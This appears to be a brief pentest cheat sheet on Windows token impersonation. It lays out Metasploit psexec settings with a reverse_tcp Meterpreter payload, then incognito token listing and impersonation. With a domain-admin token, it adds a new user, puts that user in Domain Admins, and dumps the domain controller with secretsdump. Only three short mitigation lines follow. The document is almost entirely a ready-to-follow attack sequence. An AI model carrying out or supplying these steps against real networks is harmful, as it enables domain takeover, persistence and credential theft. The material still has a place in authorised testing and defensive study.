Token Impersonation using Incognito
Fire up metasploit
Use
exploit/windows/smb/psexec
Set the following options
Set rhosts
Set smbdomain
Set smbpass
Set smbuser
Set target 2
Set payload windows/x64/meterpreter/reverse_tcp
If you get a meterpreter session as a result then do the following:
load incognito
list_tokens -u
Select the token you want to impersonate using
impersonate_token
# If you are able to impersonate a domain admin
# You can then add users
net user /add USER_NAME PASSWORD /domain
# Make the user a domain admin
net group "Domain Admins" USER_NAME /ADD /DOMAIN
# secretsdump the DC
secretsdump.py DOMAIN/USER_NAME:'PASSWORD'@DC_IP_ADDRESS
Useful commands:
rev2self
getuid
Mitigation Strategies
Limit user / group token creation permissions
Account tiering
Local Admin restriction
Last updated